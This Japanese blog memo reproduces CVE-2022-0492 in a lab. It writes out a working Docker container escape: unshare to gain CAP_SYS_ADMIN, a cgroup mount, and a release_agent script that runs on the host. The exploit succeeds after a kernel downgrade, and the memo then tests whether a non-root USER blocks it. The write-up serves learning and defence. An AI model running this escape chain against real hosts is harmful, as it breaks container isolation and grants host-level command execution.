CVE-2022-0492 を試す

コンテナなセキュリティの理解を深めるために CVE-2022-0492 を試してみるメモ。

前提として、CAP_SYS_ADMIN を持つコンテナはコンテナエスケープ可能であることを前回のブログで確認した。

参考資料

脆弱性修正済みのバージョンでの検証

Ubuntu で Cloud9 を起動する。

カーネルバージョンを確認する。

Admin:~/environment $ uname -r
5.4.0-1069-aws
Admin:~/environment $ 

こちらによると、CVE-2022-0492 は 5.4.0-1069.73 で修正されていそうに見える。

このままこのバージョンで試してみる。Seccomp と AppArmor の無効化が必要なことに注意。capsh コマンドを入れておく。

Admin:~/environment $ docker run --rm -it --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu
Unable to find image 'ubuntu:latest' locally
latest: Pulling from library/ubuntu
4d32b49e2995: Pull complete 
Digest: sha256:bea6d19168bbfd6af8d77c2cc3c572114eb5d113e6f422573c93cb605a0e2ffb
Status: Downloaded newer image for ubuntu:latest
root@4765d3efdb9f:/# apt-get update && apt-get install -y libcap2-bin

(snip)

このプロセスは CAP_SYS_ADMIN は持っていない。

root@4765d3efdb9f:/# set `cat /proc/self/status | grep CapEff`; capsh --decode=$2 | grep sys_admin
root@4765d3efdb9f:/# 

unshare コマンドで、親とは別の Namespace で bash を実行すると、CAP_SYS_ADMIN を持つことができる。

root@4765d3efdb9f:/# unshare -UrmC bash
root@4765d3efdb9f:/# set `cat /proc/self/status | grep CapEff`; capsh --decode=$2
0x0000003fffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read
root@4765d3efdb9f:/# 

なお、unshare のオプションは以下の通り。

root@4765d3efdb9f:/# unshare -h

Usage:
 unshare [options] [<program> [<argument>...]]

Run a program with some namespaces unshared from the parent.

Options:
 -m, --mount[=<file>]      unshare mounts namespace
 -u, --uts[=<file>]        unshare UTS namespace (hostname etc)
 -i, --ipc[=<file>]        unshare System V IPC namespace
 -n, --net[=<file>]        unshare network namespace
 -p, --pid[=<file>]        unshare pid namespace
 -U, --user[=<file>]       unshare user namespace
 -C, --cgroup[=<file>]     unshare cgroup namespace

 -f, --fork                fork before launching <program>
 -r, --map-root-user       map current user to root (implies --user)

 --kill-child[=<signame>]  when dying, kill the forked child (implies --fork)
                             defaults to SIGKILL
 --mount-proc[=<dir>]      mount proc filesystem first (implies --mount)
 --propagation slave|shared|private|unchanged
                           modify mount propagation in mount namespace
 --setgroups allow|deny    control the setgroups syscall in user namespaces

 -R, --root=<dir>           run the command with root directory set to <dir>
 -w, --wd=<dir>     change working directory to <dir>
 -S, --setuid <uid>         set uid in entered namespace
 -G, --setgid <gid>         set gid in entered namespace

 -h, --help                display this help
 -V, --version             display version

For more details see unshare(1).
root@4765d3efdb9f:/# 

ここからは前回のコンテナエスケープと一緒。CAP_SYS_ADMIN があれば rdma を RW でマウントすることができてしまう。/tmp/crgp ディレクトリを作成し、rdma サブシステムをマウントし、その下に子 cgroup を作成する。

root@4765d3efdb9f:/# mkdir /tmp/cgrp
root@4765d3efdb9f:/# mount -t cgroup -o rdma cgroup /tmp/cgrp
root@4765d3efdb9f:/# mount | grep "cgroup (rw"
cgroup on /tmp/cgrp type cgroup (rw,relatime,rdma)
root@4765d3efdb9f:/# mkdir /tmp/cgrp/x
root@4765d3efdb9f:/# 

ディレクトリとファイルを確認する。

root@4765d3efdb9f:/# ls -l /tmp/cgrp/
total 0
-rw-r--r-- 1 root root 0 Mar 29 06:21 cgroup.clone_children
-rw-r--r-- 1 root root 0 Mar 29 06:21 cgroup.procs
-r--r--r-- 1 root root 0 Mar 29 06:21 cgroup.sane_behavior
-rw-r--r-- 1 root root 0 Mar 29 06:21 notify_on_release
-rw-r--r-- 1 root root 0 Mar 29 06:21 release_agent
-rw-r--r-- 1 root root 0 Mar 29 06:21 tasks
drwxr-xr-x 2 root root 0 Mar 29 06:22 x
root@4765d3efdb9f:/# ls -l /tmp/cgrp/x/
total 0
-rw-r--r-- 1 root root 0 Mar 29 06:22 cgroup.clone_children
-rw-r--r-- 1 root root 0 Mar 29 06:22 cgroup.procs
-rw-r--r-- 1 root root 0 Mar 29 06:22 notify_on_release
-r--r--r-- 1 root root 0 Mar 29 06:22 rdma.current
-rw-r--r-- 1 root root 0 Mar 29 06:22 rdma.max
-rw-r--r-- 1 root root 0 Mar 29 06:22 tasks
root@4765d3efdb9f:/# 

子 cgroup の notify_on_realse1 にする。

root@9d03d13ac863:/# echo 1 > /tmp/cgrp/x/notify_on_release
root@9d03d13ac863:/# 

ホスト上のパスを取得し、実行するコマンドのパスを root cgroup の release_agent に書き込む。

root@4765d3efdb9f:/# host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
root@4765d3efdb9f:/# echo "$host_path/cmd" > /tmp/cgrp/release_agent
bash: echo: write error: Operation not permitted
root@4765d3efdb9f:/# 

ここで失敗となった。脆弱性が修正されているということだと思われるので、カーネルをダウングレードする。

カーネルのダウングレード

カーネルをダウングレード場合のやり方は以下が参考になりそう。

Admin:~/environment $ dpkg --list | grep linux-image
ii  linux-image-5.4.0-1068-aws       5.4.0-1068.72~18.04.1               amd64        Signed kernel image aws
ii  linux-image-5.4.0-1069-aws       5.4.0-1069.73~18.04.1               amd64        Signed kernel image aws
ii  linux-image-aws                  5.4.0.1069.51                       amd64        Linux kernel image for Amazon Web Services (AWS) systems.
Admin:~/environment $ 

しかし、一つ前のバージョンのカーネルもインストールされているようなので、以下のリンクを参照に、一つ前のバージョンのカーネルを指定して起動することにする。

管理用の設定ファイルを編集する。

Admin:~/environment $ sudo vi /etc/default/grub

# 以下を編集
# GRUB_DEFAULT=0
GRUB_DEFAULT="1>2"

実際に使われる設定ファイルを生成する。

Admin:~/environment $ sudo update-grub
Sourcing file `/etc/default/grub'
Sourcing file `/etc/default/grub.d/50-cloudimg-settings.cfg'
Generating grub configuration file ...
Found linux image: /boot/vmlinuz-5.4.0-1069-aws
Found initrd image: /boot/initrd.img-5.4.0-1069-aws
Found linux image: /boot/vmlinuz-5.4.0-1068-aws
Found initrd image: /boot/initrd.img-5.4.0-1068-aws
done
Admin:~/environment $ 

再起動する。

sudo shutdown -r now

脆弱性のあるカーネルでの検証

カーネルバージョンを確認する。脆弱性のあるバージョンになっている。

Admin:~/environment $ uname -r
5.4.0-1068-aws
Admin:~/environment $ 

先ほどと同様にコンテナを起動する。capsh コマンドを入れておく。

Admin:~/environment $ docker run --rm -it --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu
root@1685f29c7bf7:/# apt-get update && apt-get install -y libcap2-bin

(snip)

このプロセスは CAP_SYS_ADMIN は持っていない。

root@1685f29c7bf7:/# set `cat /proc/self/status | grep CapEff`; capsh --decode=$2 | grep sys_admin
root@1685f29c7bf7:/# 

unshare コマンドで、親とは別の Namespace で bash を実行すると、CAP_SYS_ADMIN を持つことができる。

root@1685f29c7bf7:/# unshare -UrmC bash
root@1685f29c7bf7:/# set `cat /proc/self/status | grep CapEff`; capsh --decode=$2
0x0000003fffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read
root@1685f29c7bf7:/# 

ここからは前回のコンテナエスケープと一緒。CAP_SYS_ADMIN があれば rdma を RW でマウントすることができてしまう。/tmp/crgp ディレクトリを作成し、rdma サブシステムをマウントし、その下に子 cgroup を作成する。

root@1685f29c7bf7:/# mkdir /tmp/cgrp
root@1685f29c7bf7:/# mount -t cgroup -o rdma cgroup /tmp/cgrp
root@1685f29c7bf7:/# mount | grep "cgroup (rw"
cgroup on /tmp/cgrp type cgroup (rw,relatime,rdma)
root@1685f29c7bf7:/# mkdir /tmp/cgrp/x

ディレクトリとファイルを確認する。

root@1685f29c7bf7:/# ls -l /tmp/cgrp/
total 0
-rw-r--r-- 1 root root 0 Mar 29 06:37 cgroup.clone_children
-rw-r--r-- 1 root root 0 Mar 29 06:37 cgroup.procs
-r--r--r-- 1 root root 0 Mar 29 06:37 cgroup.sane_behavior
-rw-r--r-- 1 root root 0 Mar 29 06:37 notify_on_release
-rw-r--r-- 1 root root 0 Mar 29 06:37 release_agent
-rw-r--r-- 1 root root 0 Mar 29 06:37 tasks
drwxr-xr-x 2 root root 0 Mar 29 06:37 x
root@1685f29c7bf7:/# ls -l /tmp/cgrp/x/
total 0
-rw-r--r-- 1 root root 0 Mar 29 06:37 cgroup.clone_children
-rw-r--r-- 1 root root 0 Mar 29 06:37 cgroup.procs
-rw-r--r-- 1 root root 0 Mar 29 06:37 notify_on_release
-r--r--r-- 1 root root 0 Mar 29 06:37 rdma.current
-rw-r--r-- 1 root root 0 Mar 29 06:37 rdma.max
-rw-r--r-- 1 root root 0 Mar 29 06:37 tasks
root@1685f29c7bf7:/# 

子 cgroup の notify_on_realse1 にする。

root@9d03d13ac863:/# echo 1 > /tmp/cgrp/x/notify_on_release
root@9d03d13ac863:/# 

ホスト上のパスを取得し、実行するコマンドのパスを root cgroup の release_agent に書き込む。

root@1685f29c7bf7:/# host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
root@1685f29c7bf7:/# echo "$host_path/cmd" > /tmp/cgrp/release_agent
root@1685f29c7bf7:/# 

今度は成功した。release_agent を確認する。

root@1685f29c7bf7:/# cat /tmp/cgrp/release_agent
/var/lib/docker/overlay2/b0ed213bc78b6216d07ecbb72f3ff15c9e30af3ea2ecc4c4b46a80731f2c278e/diff/cmd
root@1685f29c7bf7:/# 

cmd を作成する。

root@1685f29c7bf7:/# echo '#!/bin/sh' > /cmd
root@1685f29c7bf7:/# echo "ps aux > $host_path/output" >> /cmd
root@1685f29c7bf7:/# chmod a+x /cmd
root@1685f29c7bf7:/# 

cmd の内容を確認する。

root@1685f29c7bf7:/# cat /cmd
#!/bin/sh
ps aux > /var/lib/docker/overlay2/b0ed213bc78b6216d07ecbb72f3ff15c9e30af3ea2ecc4c4b46a80731f2c278e/diff/output
root@1685f29c7bf7:/# 

これで準備はできたので、子 cgroup 内ですぐに終了するプロセスを生成する。シェルを実行して自身の PID を cgroup.props に書き込む。

root@1685f29c7bf7:/# sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
root@1685f29c7bf7:/# 

ホスト側でコマンドを実行した出力が確認できた。

root@1685f29c7bf7:/# head /output
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.6  0.4 159524  8812 ?        Ss   06:33   0:02 /sbin/init
root         2  0.0  0.0      0     0 ?        S    06:33   0:00 [kthreadd]
root         3  0.0  0.0      0     0 ?        I<   06:33   0:00 [rcu_gp]
root         4  0.0  0.0      0     0 ?        I<   06:33   0:00 [rcu_par_gp]
root         5  0.0  0.0      0     0 ?        I    06:33   0:00 [kworker/0:0-eve]
root         6  0.0  0.0      0     0 ?        I<   06:33   0:00 [kworker/0:0H-kb]
root         8  0.0  0.0      0     0 ?        I    06:33   0:00 [kworker/u4:0-ev]
root         9  0.0  0.0      0     0 ?        I<   06:33   0:00 [mm_percpu_wq]
root        10  0.0  0.0      0     0 ?        S    06:33   0:00 [ksoftirqd/0]
root@1685f29c7bf7:/# 

USER 指定していた場合

Dockerfile で USER 指定していたら防げるのかを確認しておく。

docker run のオプションでもよさそうだが、Dockerfile での指定で確認する。

cat << EOF > Dockerfile
FROM ubuntu
RUN useradd -U -l -M -s /bin/false appuser
USER appuser
EOF

イメージをビルドする。

Admin:~/environment $ docker build -t test .
Sending build context to Docker daemon  11.78kB
Step 1/3 : FROM ubuntu
 ---> ff0fea8310f3
Step 2/3 : RUN useradd -U -l -M -s /bin/false appuser
 ---> Running in 90b6a092b56a
Removing intermediate container 90b6a092b56a
 ---> 54dd50e9ae12
Step 3/3 : USER appuser
 ---> Running in fea20705f8d2
Removing intermediate container fea20705f8d2
 ---> 6f9bb7e8d5cf
Successfully built 6f9bb7e8d5cf
Successfully tagged test:latest
Admin:~/environment $ 

このイメージで同じことを試す。

Admin:~/environment $ docker run --rm -it --security-opt seccomp=unconfined --security-opt apparmor=unconfined test
appuser@84c29e791eeb:/$ cat /proc/self/status | grep CapEff
CapEff: 0000000000000000
appuser@84c29e791eeb:/$ unshare -UrmC bash
root@84c29e791eeb:/# cat /proc/self/status | grep CapEff
CapEff: 0000003fffffffff
root@84c29e791eeb:/# mkdir /tmp/cgrp
root@84c29e791eeb:/# mount -t cgroup -o rdma cgroup /tmp/cgrp
root@84c29e791eeb:/# mount | grep "cgroup (rw"
cgroup on /tmp/cgrp type cgroup (rw,relatime,rdma,release_agent=/var/lib/docker/overlay2/b0ed213bc78b6216d07ecbb72f3ff15c9e30af3ea2ecc4c4b46a80731f2c278e/diff/cmd)
root@84c29e791eeb:/# mkdir /tmp/cgrp/xx
mkdir: cannot create directory '/tmp/cgrp/xx': Permission denied
root@84c29e791eeb:/# host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
root@84c29e791eeb:/# echo "$host_path/cmd" > /tmp/cgrp/release_agent
bash: /tmp/cgrp/release_agent: Permission denied
root@84c29e791eeb:/# 

意外なことに、unshare を実行してケーパビリティを取得することはできていそうで、RW でのマウントもできていそうだが、ファイルの書き込みには失敗している。

unshare するとケーバビリティが取得できるのか

unshare できればケーパビリティが取得できているように見えるが、本当にそうなのか、コンテナの中からではなくホスト上から確認する。

コンテナを実行する。

Admin:~/environment $ docker run --rm -it --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu bash
root@942ea4ea9620:/# unshare -UrmC bash
root@942ea4ea9620:/# ps -ef
UID        PID  PPID  C STIME TTY          TIME CMD
root         1     0  0 07:22 pts/0    00:00:00 bash
root        10     1  0 07:23 pts/0    00:00:00 bash
root        13    10  0 07:23 pts/0    00:00:00 ps -ef
root@942ea4ea9620:/# 

別ターミナルからホスト上でこのコンテナとそのプロセスの PID を確認する。

Admin:~/environment $ docker ps
CONTAINER ID   IMAGE     COMMAND   CREATED              STATUS              PORTS     NAMES
942ea4ea9620   ubuntu    "bash"    About a minute ago   Up About a minute             beautiful_chatterjee
Admin:~/environment $ docker top 942ea4ea9620
UID                 PID                 PPID                C                   STIME               TTY                 TIME                CMD
root                8197                8173                0                   07:22               pts/0               00:00:00            bash
root                8260                8197                0                   07:23               pts/0               00:00:00            bash
Admin:~/environment $ ps -ef | grep 8197
root      8197  8173  0 07:22 pts/0    00:00:00 bash
root      8260  8197  0 07:23 pts/0    00:00:00 bash
ubuntu    8405  5667  0 07:26 pts/5    00:00:00 grep 8197
Admin:~/environment $ 

ホスト上からそれぞれのプロセスのケーパビリティを確認する。

Admin:~/environment $ cat /proc/8197/status | grep CapEff
CapEff: 00000000a80425fb
Admin:~/environment $ capsh --decode=00000000a80425fb
0x00000000a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Admin:~/environment $ cat /proc/8260/status | grep CapEff
CapEff: 0000003fffffffff
Admin:~/environment $ capsh --decode=0000003fffffffff
0x0000003fffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read

USER 指定したコンテナでも同じことを試す。unshare で -r (--map-root-user) オプションを付けているので、app-user が root にマップされている。

Admin:~/environment $ docker run --rm -it --security-opt seccomp=unconfined --security-opt apparmor=unconfined test
appuser@f1f10ca183e9:/$ ps -ef
UID        PID  PPID  C STIME TTY          TIME CMD
appuser      1     0  1 07:30 pts/0    00:00:00 bash
appuser      8     1  0 07:30 pts/0    00:00:00 ps -ef
appuser@f1f10ca183e9:/$ unshare -UrmC bash
root@f1f10ca183e9:/# ps -ef
UID        PID  PPID  C STIME TTY          TIME CMD
root         1     0  0 07:30 pts/0    00:00:00 bash
root         9     1  0 07:30 pts/0    00:00:00 bash
root        11     9  0 07:30 pts/0    00:00:00 ps -ef
root@f1f10ca183e9:/# 

別ターミナルからホスト上でこのコンテナとそのプロセスの PID を確認する。コンテナ上の appuser ユーザーの UID が 1000 で、ホスト上の ubuntu ユーザーの UID も 1000 なので、ubuntu ユーザーで実行されている。

Admin:~/environment $ docker ps
CONTAINER ID   IMAGE     COMMAND   CREATED          STATUS          PORTS     NAMES
f1f10ca183e9   test      "bash"    33 seconds ago   Up 32 seconds             suspicious_merkle
Admin:~/environment $ docker top f1f10ca183e9
UID                 PID                 PPID                C                   STIME               TTY                 TIME                CMD
ubuntu              8990                8968                0                   07:30               pts/0               00:00:00            bash
ubuntu              9039                8990                0                   07:30               pts/0               00:00:00            bash
Admin:~/environment $ ps -ef | grep 8990
ubuntu    8990  8968  0 07:30 pts/0    00:00:00 bash
ubuntu    9039  8990  0 07:30 pts/0    00:00:00 bash
ubuntu    9151  5667  0 07:32 pts/5    00:00:00 grep 8990
Admin:~/environment $ 

ホスト上からそれぞれのプロセスのケーパビリティを確認する。

Admin:~/environment $ cat /proc/8990/status | grep CapEff
CapEff: 0000000000000000
Admin:~/environment $ capsh --decode=0000000000000000
0x0000000000000000=
Admin:~/environment $ cat /proc/9039/status | grep CapEff
CapEff: 0000003fffffffff
Admin:~/environment $ capsh --decode=0000003fffffffff
0x0000003fffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read
Admin:~/environment $ 

これはどういう状態と考えるべきなのか理解できない。非 root だがケーパビリティを持っている状態? unshare コマンドが実行できてしまうとかなり危険ということだろうか?